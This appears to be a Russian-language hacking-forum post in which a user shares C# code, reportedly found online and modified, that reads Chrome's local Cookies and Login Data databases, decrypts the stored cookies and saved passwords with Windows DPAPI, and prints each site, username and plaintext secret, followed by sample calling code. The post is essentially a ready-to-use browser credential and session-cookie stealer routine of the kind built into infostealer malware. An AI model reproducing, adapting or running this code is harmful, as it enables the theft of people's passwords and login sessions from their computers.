R
Riddle
Original poster
Нашел гдет на просторах нета, немного переделал:
Вызвать можно так :
Код:
static public IEnumerable<Tuple<string, string, string>> ReadCookies()
{
var dbPath = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Google\Chrome\User Data\Default\Cookies";
if (!System.IO.File.Exists(dbPath)) throw new System.IO.FileNotFoundException("Cant find cookie store", dbPath);
var connectionString = "Data Source=" + dbPath + ";pooling=false";
using (var conn = new System.Data.SQLite.SQLiteConnection(connectionString))
using (var cmd = conn.CreateCommand())
{
cmd.CommandText = "SELECT name,encrypted_value,host_key FROM cookies";
conn.Open();
using (var reader = cmd.ExecuteReader())
{
while (reader.Read())
{
var encryptedData = (byte[])reader[1];
var decodedData = System.Security.Cryptography.ProtectedData.Unprotect(encryptedData, null, System.Security.Cryptography.DataProtectionScope.CurrentUser);
var plainText = Encoding.ASCII.GetString(decodedData);
yield return Tuple.Create(reader.GetString(2), reader.GetString(0), plainText);
}
}
conn.Close();
}
}
static public IEnumerable<Tuple<string, string, string>> ReadPass()
{
var dbPath = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Google\Chrome\User Data\Default\Login Data";
if (!System.IO.File.Exists(dbPath)) throw new System.IO.FileNotFoundException("Cant find Login Data store", dbPath);
var connectionString = "Data Source=" + dbPath + ";pooling=false";
using (var conn = new System.Data.SQLite.SQLiteConnection(connectionString))
using (var cmd = conn.CreateCommand())
{
cmd.CommandText = "SELECT password_value,username_value,origin_url FROM logins";
conn.Open();
using (var reader = cmd.ExecuteReader())
{
while (reader.Read())
{
var encryptedData = (byte[])reader[0];
var decodedData = System.Security.Cryptography.ProtectedData.Unprotect(encryptedData, null, System.Security.Cryptography.DataProtectionScope.CurrentUser);
var plainText = Encoding.ASCII.GetString(decodedData);
yield return Tuple.Create(reader.GetString(2),reader.GetString(1), plainText);
}
}
conn.Close();
}
}
Вызвать можно так :
Код:
var cook = ReadCookies();
foreach (var item in cook)
Console.WriteLine("{0} | {1} : {2}", item.Item1, item.Item2, item.Item3);
Console.WriteLine();
var pas = ReadPass();
foreach (var item in pas)
Console.WriteLine("{0} | {1} : {2}", item.Item1, item.Item2, item.Item3);